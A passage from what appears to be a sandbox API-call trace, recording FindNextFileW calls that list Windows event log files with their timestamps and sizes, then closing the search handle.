ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1 [0069.856] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1 [0069.856] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1 [0069.856] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1 [0069.856] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1 [0069.857] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1 [0069.857] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx", cAlternateFileName="MIB9D2~1.EVT")) returned 1 [0069.857] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx", cAlternateFileName="MI7A67~1.EVT")) returned 1 [0069.857] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx", cAlternateFileName="MI3773~1.EVT")) returned 1 [0069.857] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx", cAlternateFileName="MI36AA~1.EVT")) returned 1 [0069.857] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx", cAlternateFileName="MI2E2E~1.EVT")) returned 1 [0069.857] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx", cAlternateFileName="MI1C6C~1.EVT")) returned 1 [0069.857] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx", cAlternateFileName="MI00FB~1.EVT")) returned 1 [0069.857] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97b042f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97b042f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1 [0069.857] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Security.evtx", cAlternateFileName="MI8CEE~1.EVT")) returned 1 [0069.857] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx", cAlternateFileName="MIE3AD~1.EVT")) returned 1 [0069.858] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx", cAlternateFileName="MI8248~1.EVT")) returned 1 [0069.858] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx", cAlternateFileName="MI4B6B~1.EVT")) returned 1 [0069.858] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Security.evtx", cAlternateFileName="MI7709~1.EVT")) returned 1 [0069.858] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Store%4Operational.evtx", cAlternateFileName="MICEDD~1.EVT")) returned 1 [0069.858] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cAlternateFileName="MIE2F0~1.EVT")) returned 1 [0069.858] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cAlternateFileName="MIAB1D~1.EVT")) returned 1 [0069.858] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cAlternateFileName="MI62D3~1.EVT")) returned 1 [0069.858] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cAlternateFileName="MIEC03~1.EVT")) returned 1 [0069.858] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cAlternateFileName="MI1F5D~1.EVT")) returned 1 [0069.858] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx", cAlternateFileName="MIA925~1.EVT")) returned 1 [0069.858] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50aff605, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx", cAlternateFileName="MI4D4C~1.EVT")) returned 1 [0069.858] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50981e6e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50981e6e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx", cAlternateFileName="MI5FF0~1.EVT")) returned 1 [0069.858] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx", cAlternateFileName="MIBD88~1.EVT")) returned 1 [0069.858] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b97f64, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b97f64, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", cAlternateFileName="MICC17~1.EVT")) returned 1 [0069.858] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc986efe1, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc986efe1, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx", cAlternateFileName="MI72BF~1.EVT")) returned 1 [0069.858] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb426548, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb426548, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx", cAlternateFileName="MI7501~1.EVT")) returned 1 [0069.859] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx", cAlternateFileName="MIF226~1.EVT")) returned 1 [0069.859] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b19353, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4b19353, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx", cAlternateFileName="MIDCC7~1.EVT")) returned 1 [0069.859] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9c9b1b6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9c9b1b6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx", cAlternateFileName="MI7771~1.EVT")) returned 1 [0069.859] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", cAlternateFileName="MI4667~1.EVT")) returned 1 [0069.859] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd122d184, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd122d184, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx", cAlternateFileName="MID6AB~1.EVT")) returned 1 [0069.859] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf164b9b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcf164b9b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx", cAlternateFileName="MIFF83~1.EVT")) returned 1 [0069.859] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9a458f4, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security.evtx", cAlternateFileName="SECURI~1.EVT")) returned 1 [0069.859] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a6db2c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x95a6db2c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1d86ba0, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.evtx", cAlternateFileName="SETUP~1.EVT")) returned 1 [0069.859] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.evtx", cAlternateFileName="SYSTEM~1.EVT")) returned 1 [0069.859] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 1 [0069.859] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 0 [0069.859] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0069.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcfa0) returned 1 